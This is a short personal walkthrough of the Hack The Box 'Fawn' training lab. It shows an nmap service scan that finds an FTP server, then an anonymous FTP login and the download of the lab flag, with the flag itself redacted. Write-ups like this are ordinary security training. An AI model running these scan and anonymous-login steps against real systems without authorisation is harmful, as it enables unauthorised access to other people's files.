Title here
Summary here
HTB | Fawn - Starting Point
https://app.hackthebox.com/machines/Fawn/
Fawn | Walkthrough
| Phase |
|---|
| Reconnaissance |
| Foothold |
Ye, it’s my second htb lab (for quick writeup)
Reconnaissance
Using nmap to enumerate all open ports in the target
nmap -sV 10.129.1.14nopedawn@npdn ~/L/H/S/Fawn> nmap -sV 10.129.1.14
Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-08 08:43 WIB
Nmap scan report for 10.129.1.14
Host is up (0.81s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.97 secondsPort 21/tcp is open for ftp service. So I snap to it using this following command
ftp 10.129.1.14Foothold
nopedawn@npdn ~/L/H/S/Fawn> ftp 10.129.1.14
Connected to 10.129.1.14.
220 (vsFTPd 3.0.3)
Name (10.129.1.14:nopedawn):
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed
ftp>
[1]+ Stopped ftp 10.129.1.14
nopedawn@npdn ~/L/H/S/Fawn> ftp 10.129.1.14
Connected to 10.129.1.14.
220 (vsFTPd 3.0.3)
Name (10.129.1.14:nopedawn): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>Since ftp default username is anonymous for the conventional credentials, I successfully to logged in as anonymous and left it blank for the password, and the flag was stored in current working directory
ftp> ls
229 Entering Extended Passive Mode (|||22079|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 32 Jun 04 2021 flag.txt
226 Directory send OK.
ftp> get flag.txt
local: flag.txt remote: flag.txt
229 Entering Extended Passive Mode (|||11890|)
150 Opening BINARY mode data connection for flag.txt (32 bytes).
100% |*****************************************************************| 32 0.12 KiB/s 00:00 ETA
226 Transfer complete.
32 bytes received in 00:01 (0.02 KiB/s)
nopedawn@npdn ~/L/H/S/Fawn> cat flag.txt
REDACTEDAs I said in the previous blog, just practice this lab by yourself and get the flag (Go for it! 💪)